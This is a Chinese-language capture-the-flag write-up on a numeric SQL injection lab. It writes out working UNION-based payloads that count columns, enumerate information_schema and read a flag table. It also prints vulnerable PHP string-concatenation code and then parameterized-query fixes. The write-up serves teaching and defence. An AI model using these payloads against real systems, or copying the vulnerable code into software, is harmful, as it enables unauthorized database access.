【好靶场】报错注入-sql注入-数字型
- 【好靶场】报错注入-sql注入-数字型
- 前言
-
- 一、前置核心原理
-
- [1. 数字型注入的本质:输入直接进入数值表达式](#1. 数字型注入的本质:输入直接进入数值表达式)
- [2. 为什么本题不需要 `-- ` 注释](#2. 为什么本题不需要
--注释) - [3. 本次注入三大核心语法作用](#3. 本次注入三大核心语法作用)
- [4. UNION 注入硬性规则](#4. UNION 注入硬性规则)
- 二、靶场信息与测试目标
-
- [1. 靶场基础信息](#1. 靶场基础信息)
- [2. 本文测试目标](#2. 本文测试目标)
- 三、漏洞验证与目标数据读取过程
-
- [步骤 1:使用 `OR 1=1` 确认是否存在数字型注入](#步骤 1:使用
OR 1=1确认是否存在数字型注入) - [步骤 2:使用 `ORDER BY` 判断字段数量](#步骤 2:使用
ORDER BY判断字段数量) - [步骤 3:使用 `UNION SELECT` 寻找回显位](#步骤 3:使用
UNION SELECT寻找回显位) - [步骤 4:查询当前数据库名称](#步骤 4:查询当前数据库名称)
- [步骤 5:枚举当前数据库中的数据表](#步骤 5:枚举当前数据库中的数据表)
- [步骤 6:枚举 `flag` 表的字段名](#步骤 6:枚举
flag表的字段名) - [步骤 7:读取目标数据](#步骤 7:读取目标数据)
- [步骤 1:使用 `OR 1=1` 确认是否存在数字型注入](#步骤 1:使用
- [四、把每一步串成完整的 SQL 执行逻辑](#四、把每一步串成完整的 SQL 执行逻辑)
- 五、常见失败点与排查思路
-
- [1. `UNION SELECT` 列数不一致](#1.
UNION SELECT列数不一致) - [2. 把数字型注入误写成字符型注入](#2. 把数字型注入误写成字符型注入)
- [3. 表名或字段名没有加引号](#3. 表名或字段名没有加引号)
- [4. 当前数据库名或表名并非预设值](#4. 当前数据库名或表名并非预设值)
- [5. 页面只显示原始记录或没有显示新增行](#5. 页面只显示原始记录或没有显示新增行)
- [6. 数据库类型与预期不一致](#6. 数据库类型与预期不一致)
- [1. `UNION SELECT` 列数不一致](#1.
- 六、漏洞根因与修复建议
-
- [1. 根因:将外部输入直接拼接到 SQL 文本](#1. 根因:将外部输入直接拼接到 SQL 文本)
- [2. 正确修复:使用参数化查询](#2. 正确修复:使用参数化查询)
- [3. 输入校验只能作为补充](#3. 输入校验只能作为补充)
- [4. 不把数据库报错直接返回给用户](#4. 不把数据库报错直接返回给用户)
- [5. 数据库账户遵循最小权限](#5. 数据库账户遵循最小权限)
- 总结
【好靶场】报错注入-sql注入-数字型
前言
在 SQL 注入学习中,很多人习惯直接复制 Payload 读取目标数据,却无法独立分析漏洞成因与利用逻辑。想要真正掌握注入,必须建立一套标准化探测流程:判断可控输入、确认参数类型、探测字段数量、定位回显位置、枚举库表结构、读取目标数据。
本次实验为数字型 SQL 注入 ,页面具备 SQL 错误回显且支持 UNION 联合查询。这里同样需要做一次关键概念纠正:本题只依靠报错完成漏洞探测,核心数据利用方式为 UNION 联合查询,不属于通过数据库报错直接取数的报错注入利用。
本次实验仅用于个人 Web 安全知识复盘,实验在本地隔离、自建的授权靶场中完成,全程离线,不存在对外攻击、公网资产测试等行为。
后端原始 SQL 语句将用户输入的用户 ID 直接拼接到查询中,无过滤、无预编译,存在完整注入风险:
sql
SELECT * FROM users WHERE id = 用户可控输入
下文将严格按照从 0 到 1 的完整复现流程记录。每一步均包含探测意图、输入 Payload、页面现象和原理分析,形成可迁移、可复用的注入思维。
一、前置核心原理
1. 数字型注入的本质:输入直接进入数值表达式
字符型注入中的参数通常被单引号包裹,测试时需要先处理引号闭合;而本题的 id 位于数值表达式中,本身没有单引号边界。
正常搜索时,SQL 结构如下:
sql
WHERE id = 8
当输入内容为:
text
8 or 1=1
后端拼接后的 SQL 为:
sql
WHERE id = 8 or 1=1
1=1 是恒成立条件,最终会使整个 WHERE 条件成立,从而返回多条记录。若页面结果确实由一条变为全部或明显更多的记录,就说明用户输入已经参与 SQL 语法解析。
与字符型注入不同,本题的关键特征是:
text
数字型参数 → 不需要单引号闭合 → 直接使用数字表达式和 SQL 运算符进行测试
2. 为什么本题不需要 -- 注释
本题的查询原型是:
sql
SELECT * FROM users WHERE id = 用户可控输入
用户输入位于原 SQL 的末尾,没有额外的单引号或其他残留内容需要截断。因此下面的 Payload 可以直接构成完整 SQL:
text
8 order by 5
对应:
sql
SELECT * FROM users WHERE id = 8 order by 5
只有当真实后端在用户输入后仍拼接了其他固定 SQL 片段时,才需要根据实际语句判断是否使用注释符。不能因为字符型题目常用 -- ,就机械地把它套用到所有数字型参数中。
3. 本次注入三大核心语法作用
| 语法 | 核心作用 | 本题使用场景 |
|---|---|---|
OR 1=1 |
通过恒真条件验证输入能否改变原始 WHERE 逻辑 |
确认数字型参数存在注入可能 |
ORDER BY |
通过递增排序位置探测原始查询的总列数 | UNION 查询前后字段数量必须一致 |
UNION SELECT |
拼接自定义查询结果,在页面回显需要的数据 | 读取库名、表名、字段名和目标数据 |
information_schema |
MySQL 系统元数据表,可枚举库、表、字段信息 | 在授权靶场中确认数据库结构 |
4. UNION 注入硬性规则
联合查询执行必须满足两个条件:
- 前后两条
SELECT查询字段数量完全一致; - 对应字段数据类型兼容,并且结果能够被页面渲染。
经过后续探测,本题原始查询返回 5 列,因此所有 UNION Payload 都必须严格构造 5 个字段占位:
sql
UNION SELECT 1, 2, <要显示的数据>, 4, 5
二、靶场信息与测试目标
1. 靶场基础信息

页面提供一个按用户 ID 搜索的输入框,查询结果表格展示以下字段:

text
ID、姓名、邮箱、部门、薪资
重点:在最开始测试前,不能仅根据页面展示字段就预设后端 SQL、结果列数、回显位或数据库表结构。 这些信息都必须通过后续的正常请求与测试请求对照得出。
本题已知的查询原型仅用于帮助理解最终拼接逻辑:
sql
SELECT * FROM users WHERE id = 用户可控输入
2. 本文测试目标
在不修改、不写入数据库数据的前提下,按顺序完成整套验证流程:
text
确认是否存在数字型注入
↓
探测原始 SQL 查询的列数量
↓
定位页面可展示数据的回显位置
↓
确认当前数据库名称
↓
枚举当前数据库内所有数据表
↓
枚举目标表内的字段名
↓
读取目标字段内的数据
三、漏洞验证与目标数据读取过程
步骤 1:使用 OR 1=1 确认是否存在数字型注入
先输入一个正常的用户 ID:
text
8
页面只返回 ID 为 8 的记录。此时 SQL 可以理解为:
sql
SELECT * FROM users WHERE id = 8
然后输入:
text
8 or 1=1
服务端拼接后:
sql
SELECT * FROM users WHERE id = 8 or 1=1
观察页面现象:

页面返回 users 表中的多条记录,明显多于正常输入 8 时的结果。
观察与分析:
id = 8只匹配特定 ID 的记录;1=1永远成立;OR两侧只要有一侧为真,整个条件即为真;- 页面结果扩大,说明
or 1=1没有被当作普通文本,而是被数据库当作 SQL 逻辑解析。
结论:
可以初步确认这是一个位于数值表达式位置的数字型 SQL 注入点。
下一步动作:
既然输入能够改变 SQL 逻辑,就继续用 ORDER BY 判断原查询返回了多少列,为 UNION SELECT 做准备。
步骤 2:使用 ORDER BY 判断字段数量
先输入:
text
8 order by 5
最终 SQL:
sql
SELECT * FROM users WHERE id = 8 order by 5
观察页面现象:

页面没有 SQL 报错,仍能正常显示查询结果。
然后将数字增加 1,输入:
text
8 order by 6
最终 SQL:
sql
SELECT * FROM users WHERE id = 8 order by 6
观察页面现象:

页面出现数据库错误。例如 MySQL / MariaDB 常见提示可能为:
text
Unknown column '6' in 'ORDER BY'
为什么能这样判断:
ORDER BY 5 表示按结果集的第 5 列排序。若结果集中确实存在第 5 列,数据库可以正常执行;ORDER BY 6 则请求按不存在的第 6 列排序,因此会失败。
text
ORDER BY 5 正常
ORDER BY 6 报错
↓
原查询结果集共有 5 列
结论:
原查询返回 5 列 。因此构造联合查询时,UNION SELECT 后面也必须提供 5 个字段。
下一步动作:
用 1 到 5 作为标记值进行联合查询,确认页面的回显位置。
注意:
ORDER BY 6的本质通常不是普通语法错误,而是引用了超出结果集范围的排序列。不同靶场可能统一包装错误提示,判断时应以"5 正常、6 稳定失败"的对照现象为准。
步骤 3:使用 UNION SELECT 寻找回显位
输入内容:
text
8 union select 1,2,3,4,5
最终 SQL:
sql
SELECT * FROM users WHERE id = 8
UNION
SELECT 1,2,3,4,5
页面回显:

搜索结果表格中新增一行内容:
| ID | 姓名 | 邮箱 | 部门 | 薪资 |
|---|---|---|---|---|
| 1 | 2 | 3 | 4 | 5 |
分析:
这条语句能够成功执行,说明联合查询列数与原查询匹配。页面字段与联合查询位置的关系也已经明确:
| ID | 姓名 | 邮箱 | 部门 | 薪资 |
|---|---|---|---|---|
| 1 | 2 | 3 | 4 | 5 |
理论上 5 个位置都可以显示标记值。为了后续记录统一,本文选择第 2 位"姓名"承载查询结果。将需要显示的数据放在第 2 个表达式,其余位置使用常量占位即可。
结论:
第 2 列是稳定、清晰的回显位,后续统一使用:
sql
UNION SELECT 1, <要显示的数据>, 3, 4, 5
下一步动作:
先查询当前正在使用的数据库名称,再通过 information_schema.tables 枚举表名。
步骤 4:查询当前数据库名称
输入内容:
text
8 union select 1,database(),3,4,5
最终 SQL:
sql
SELECT * FROM users WHERE id = 8
UNION
SELECT 1,database(),3,4,5
页面回显:
姓名列显示当前数据库名称:

text
sql_injection_lab
分析:
database() 是 MySQL / MariaDB 中用于返回当前数据库名的函数。后续查询元数据时,将数据库名作为 table_schema 的限定条件,可以避免把其他数据库中的同名表或字段混入结果。
结论:
当前数据库为:
text
sql_injection_lab
下一步动作:
使用 information_schema.tables 枚举该数据库中的数据表。
步骤 5:枚举当前数据库中的数据表
输入内容:
text
8 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()
最终 SQL:
sql
SELECT * FROM users WHERE id = 8
UNION
SELECT 1, GROUP_CONCAT(table_name), 3, 4, 5
FROM information_schema.tables
WHERE table_schema = database()
页面回显:

姓名列显示:
text
users,flag
Payload 语法拆解讲解:
sql
information_schema.tables
保存数据库中表的元数据;而:
sql
table_schema = database()
把范围限制为当前正在使用的数据库,避免枚举到其他库的表名。
GROUP_CONCAT(table_name) 会把多行表名拼成一个逗号分隔的字符串。这样即使页面只显示一行记录,也能一次看到多个表名。
结论:
当前库中至少存在:
text
users
flag
其中 flag 的命名具有明显的靶场题目特征,优先查看其字段结构。
下一步动作:
在 information_schema.columns 中查询 flag 表的字段名。为了避免其他数据库存在同名表,查询时同样要限制当前库。
步骤 6:枚举 flag 表的字段名
输入内容:
text
8 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema=database() and table_name='flag'
最终 SQL:
sql
SELECT * FROM users WHERE id = 8
UNION
SELECT 1, GROUP_CONCAT(column_name), 3, 4, 5
FROM information_schema.columns
WHERE table_schema = database()
AND table_name = 'flag'
页面回显:

姓名列显示:
text
id,flag
分析:
information_schema.columns 记录每张表的列信息。这里已经确认:
id:通常为记录编号;flag:字段名直接表明其内容是本题的目标数据。
结论:
目标数据位于 flag 表的 flag 字段中。
下一步动作:
从 flag 表读取该字段内容。
步骤 7:读取目标数据
输入内容:
text
8 union select 1,group_concat(flag),3,4,5 from flag
最终 SQL:
sql
SELECT * FROM users WHERE id = 8
UNION
SELECT 1, GROUP_CONCAT(flag), 3, 4, 5
FROM flag
页面回显:

姓名列直接显示目标字符串:
text
flag{799040f4aa8a48d7bd93ebc7b0ea96f2}
上面的值仅表示回显形式。请以本地隔离靶场实际返回的数据为准,不应将示例值当作固定结果。
为什么这里仍使用 GROUP_CONCAT():
如果 flag 表只有一条记录,直接写 flag 也可以;使用 GROUP_CONCAT(flag) 的好处是,即使有多条记录,页面仍会将结果拼接为一条字符串返回,适合只有一个固定回显位的场景。
最终结论:
漏洞利用链路完整闭合:输入可控 → 数值条件可被篡改 → 联合查询成功 → 数据库结构可枚举 → 可读取目标字段。至此,本地靶场验证完成。
四、把每一步串成完整的 SQL 执行逻辑
以最后一步为例,搜索框输入:
text
8 union select 1,group_concat(flag),3,4,5 from flag
服务端拼接后,核心 SQL 逻辑可以理解为:
sql
SELECT *
FROM users
WHERE id = 8
UNION
SELECT 1, GROUP_CONCAT(flag), 3, 4, 5
FROM flag
其中:
8作为数值表达式参与原始WHERE id = 8条件;UNION SELECT把第二段查询的结果追加到页面结果中;GROUP_CONCAT(flag)放在第 2 位,所以显示在"姓名"列;- 本题用户输入位于 SQL 末尾,因此不需要额外用注释截断尾部语句。
整个过程可以概括为:
text
8 or 1=1 返回多条记录
↓
确认数字型参数可控
↓
ORDER BY 5 正常、ORDER BY 6 失败
↓
确认原查询有 5 列
↓
UNION SELECT 1,2,3,4,5 确认回显位
↓
database() 确认当前数据库
↓
information_schema 查询表名与字段名
↓
从 flag.flag 读取目标内容
五、常见失败点与排查思路
1. UNION SELECT 列数不一致
例如已经确认原查询有 5 列,却误写成:
sql
UNION SELECT 1,2,3
数据库会拒绝联合查询。必须保证两个 SELECT 的列数一致。本题固定使用 5 个位置:
sql
1, <回显内容>, 3, 4, 5
2. 把数字型注入误写成字符型注入
本题的参数位于数值位置,通常可以直接从数字开始构造:
text
8 union select 1,2,3,4,5
不需要像字符型注入那样先提交单引号闭合:
text
' union select ...
如果把字符型 Payload 直接套到数字型参数中,反而可能造成 SQL 语法错误。
3. 表名或字段名没有加引号
查询元数据时,字符串条件必须写成字符串:
sql
table_name = 'flag'
而不是:
sql
table_name = flag
后者会把 flag 当作标识符解析,可能导致报错或查询不到结果。
4. 当前数据库名或表名并非预设值
sql_injection_lab、flag 都只是本地靶场中通过枚举得到的结果,不是所有练习题的固定名称。遇到不同环境时,应先查询:
sql
database()
再通过:
sql
information_schema.tables
和:
sql
information_schema.columns
根据实际回显替换数据库、表名和字段名。
5. 页面只显示原始记录或没有显示新增行
有些页面会让 id = 8 的原始记录排在联合查询结果前面;也有页面会分页、过滤空值或隐藏部分字段。此时应重点观察新增行中是否出现 1、2、3、4、5 等标记值,而不是只看第一条结果。
6. 数据库类型与预期不一致
本文的 database()、information_schema、group_concat() 均以 MySQL / MariaDB 靶场为例。若实验环境是 SQL Server、Oracle、PostgreSQL 等其他数据库,函数、元数据表和语法会不同,不能直接照搬。
六、漏洞根因与修复建议
1. 根因:将外部输入直接拼接到 SQL 文本
漏洞代码的核心问题通常类似:
php
$id = $_GET['id'];
$sql = "SELECT id, name, email, department, salary
FROM users
WHERE id = $id";
$result = $pdo->query($sql);
此时 $id 不再只是"数据",而可能成为 SQL 语法的一部分。无论只过滤单引号、空格还是 UNION 等关键字,都无法从根本上解决这个问题。
2. 正确修复:使用参数化查询
以 PDO 为例,应把 SQL 结构与用户数据分开:
php
$id = filter_input(INPUT_GET, 'id', FILTER_VALIDATE_INT);
if ($id === false || $id === null || $id < 1) {
http_response_code(400);
exit('invalid id');
}
$sql = 'SELECT id, name, email, department, salary
FROM users
WHERE id = :id';
$stmt = $pdo->prepare($sql);
$stmt->execute([':id' => $id]);
$rows = $stmt->fetchAll(PDO::FETCH_ASSOC);
在参数化查询中,$id 会作为一个值绑定,而不会参与 SQL 语法解析。即使用户提交 8 or 1=1,也只会被识别为不符合整数格式的无效输入,而不会改变查询逻辑。
3. 输入校验只能作为补充
ID 字段应只接受合理范围内的正整数,因此可以额外做类型、范围和权限校验。但必须明确:
text
输入校验 ≠ SQL 注入的根本修复
预编译 / 参数绑定 = 必须具备的根本修复
输入校验用于保证业务数据质量;参数化查询用于隔离代码与数据,防止注入。
4. 不把数据库报错直接返回给用户
本题之所以能快速判断列数,是因为页面直接暴露了数据库错误信息。在生产环境中应:
- 对用户返回统一、无敏感信息的错误提示;
- 将数据库错误写入受保护的服务端日志;
- 配合错误追踪系统定位问题;
- 避免泄露数据库类型、SQL 片段、表名、文件路径和版本信息。
这不能替代参数化查询,但可以减少信息泄露带来的利用便利。
5. 数据库账户遵循最小权限
业务连接账号只授予实际业务表所需的最小权限,不使用高权限管理员账号连接应用。最小权限不能消除注入漏洞,但能够在漏洞出现时缩小可读取、可修改的范围。
总结
这道题最重要的不是机械记忆 Payload,而是建立稳定的判断链:
text
输入 8 or 1=1 返回多条记录
→ 证明数值表达式可能可控
ORDER BY 5 正常、ORDER BY 6 失败
→ 证明原查询有 5 列
UNION SELECT 1,2,3,4,5 成功回显
→ 确认联合查询可用并定位页面输出列
查询 database()、information_schema.tables / columns
→ 获得当前库、flag 表和 flag 字段
在第 2 个回显位查询 GROUP_CONCAT(flag)
→ 读取本地靶场中的目标数据
对于这类数字型联合注入题,始终遵循"先验证、再测列数、再找回显、最后枚举结构与读取数据 "的顺序,能显著减少盲猜和无效测试。更重要的是,从防守角度看,所有这些步骤最终都指向同一个根因:应用把不可信输入拼进了 SQL 文本。 使用参数化查询,才是解决该问题的正确方式。